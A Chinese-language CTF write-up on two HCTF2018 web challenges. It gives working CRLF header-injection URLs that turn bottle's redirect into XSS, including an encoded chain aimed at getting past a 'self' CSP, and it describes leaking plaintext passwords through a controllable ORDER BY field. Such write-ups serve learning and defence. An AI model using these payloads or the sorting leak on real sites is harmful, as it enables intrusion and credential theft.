作者:LoRexxar'@知道創宇404實驗室
時間:2018年11月14日

HCTF2018在出題的時候其實準備了一個特別好的web題目思路,可惜賽前智能合約花了太多時間和精力,沒辦法只能放棄了之前的web題,在運維比賽的過程中,我發現學弟出的一些題目其實很有意思值得思考。

bottle

bottle是小學弟@luo00出的題目,源碼如下 https://github.com/Lou00/HCTF2018_Bottle

整個站幾乎只有一個功能就是有一個可控的任意跳轉,然后根據題目功能可以判斷是一道xss題目。其實技巧挺明確的,就是比較冷門,我第一次見是阿里先知的xss挑戰賽。

https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC

然后本題的思路主要來自于ph師傅的一篇分析 https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

首先這個問題有意思的點在于挺多的,在原本的環境下,bottle有個特殊的鬼畜特性在于,他的header順序是會變得...

首先我們需要明白一個問題,在流量中,body和header是在一起的,在header的兩個換行后內容會被自動識別為body

所以在bottle.redirect(path)中存在location頭注入,我們就可以通過傳入兩個換行來吧header擠到body中,這樣就可以控制頁面的返回了

150.109.53.69:/path?path=//150.109.53.69:0%2f%0D%0A%0D%0Atest

正常來說,直接注入script就可以了

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<html><head><script>alert`1`</script>

原文中說當端口小于80,firefox就會卡住,但我實際測試只有0端口會卡住,可能我環境不同

這就是題目的原解,這里雖然加入了CSP,但其實沒區別,由于bottle頭隨機的問題,當CSP隨機到location下面時,就可以注入js了,但這樣就成了一個隨機的題目了,學弟想讓別人注意到bottle特性而不是隨便撞到,這里就設置了腳本定時重啟,然后讓頭更隨機一點兒。

攻擊者需要意識到這個問題然后不斷提交才可以攻擊成功,但可惜這種攻擊方式就隨機了,失去了ctf本身的樂趣,變得太無趣了。

-----------下面開始腦洞時間,實際沒有作用,不想看可以跳過----------------------

嘗試

仔細思考了一下邏輯我開始想辦法改進這題。當然,改進題目的基礎必然是想辦法減少隨機性,所以一些討論的基礎都在于CSP頭穩定在location之上。

其實可以發現,CSP特別簡單,最簡單的self CSP

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 'self'")

self CSP最大的問題在于如果能找到一個self源內容可控的,那CSP就可以被繞過了。

然后我發現,這個漏洞不是剛好就是可以控制頁面內容嗎,于是一個漏洞利用鏈想到了

構造一個CLRF控制內容注入alert,然后構造CLRF,然后構造第二個CLRF注入script,然后src引入前面的鏈接。

聽起來非常完美的利用鏈。這其中也有幾個小坑。

首先構造一個alert

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert%60%31%60%3b

這里想到現代瀏覽器對content-type可能有要求,所以直接頭注入設置content-type為text/javascript

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`1`

然后嘗試引入這個鏈接,然后需要注意二次urlencode,不然%0a%0d都會解開

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<html><head><script/src=%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%33%30%30%30%2f%70%61%74%68%3f%70%61%74%68%3d%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%30%25%32%66%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%61%2b%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%33%62%2b%63%68%61%72%73%65%74%25%33%64%55%54%46%2d%38%25%30%44%25%30%41%25%30%44%25%30%41%61%6c%65%72%74%60%31%60></script>

看上去很有道理,然后訪問...然后失敗...Orz,被CSP ban了

仔細回想上面的流程,其實有個很重要的問題沒有注意到,這個問題我也是第一次重視到。

CSP和cookie的同源策略一樣,不但對ip做限制,對端口也有限制。最過分的是,CSP在location頭存在的時候,會跟入判斷location

也就意味著,我們試圖引入http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert作為目標js引入,會被認為引入http://150.109.53.69:0這個來源的js,端口為0,self的端口為3000,所以被攔截了。

而且值得注意的是,這里如果把CSP改為

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69")

CSP中如果不設置端口,默認會認為是80端口。同樣沒辦法繞過。

經過了一番研究我發現這個端口判定沒有別的解決辦法,如果不用跳0的辦法,正常的302是會跟隨跳轉過去的。

無奈我修改題目把CSP改成了

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69:*")

然后我開始繼續上面的測試,果然,仍然失敗了......這次報錯不一樣了,阻攔加載的并不是CSP。

firefox的控制臺顯示script加載失敗,仔細研究了一番突然意識到一個事情,是不是瀏覽器的不加載非200的靜態資源

于是我用flask簡單寫了一段代碼測試了一下

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'alert(1);', 303

if __name__ == '__main__':
    app.run()

事實證明的確是這樣的,瀏覽器在這塊的安全性已經做的非常好了,這種奇怪的操作完全不成立...

思考到最后,我忽然又意識到了一個問題,假設我把跳轉那個頁面生生改成200,然后去加載,有一個致命的利用問題。

模擬出來的頁面內容是這樣的

alert`1`;
xxxxxheader: xxxx

我沒辦法改變下面的內容,而js雖然是逐行渲染的,但遇到報錯之后整塊script都會阻止,不再繼續加載了,然后我就又回到了最初的問題,我必須保證locaion是最后一行header才行...我違背了最初想要去除隨機性的目的...

最后沒辦法,還是將題目改回原樣了,這里的思考過程挺有意思的,分享給大家,也感謝在試驗過程中@Math1as給我出了很多主意。

game

game這道題是我的另一個小學弟@undifined出的題目,后來聽他說起這個思路我覺得蠻有意思的,這里出成題目用了明文密碼入庫雖說是比較強行,但其實用來注其他信息還是不難的,是個很有趣的想法。

第一次見到這種思路是在pwnhub上

https://pwnhub.cn/questiondetail?id=3

這題目當時是上傳文件,然后后端展示的時候會有排序,通過不斷上傳就可以得到目標文件名字。

這里也是一樣,這里是一個近似于邏輯漏洞,站內只有兩個功能:

  1. 打游戲獲得積分
  2. 排行榜,可以根據不同的字段排行

排行榜的數據都是實時的,而且整個部分沒有任何的注入點,完全不能SQL注入,但由于可以根據不同的字段排行,所以order by后面的字段名可控,除了常規的id, username, sex, score以外,也可以更具password來排行,再加上數據庫中密碼是明文存取的(不是明文也可以,只是獲得的是hash)

知道了原理,我們就可以通過不斷插入新的賬號來逼近目標字符串,因為數據庫排序和前面說的linux文件名排序是一樣的,很有趣。

ac > adf > ad

想明白就可以直接寫腳本跑起來


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/744/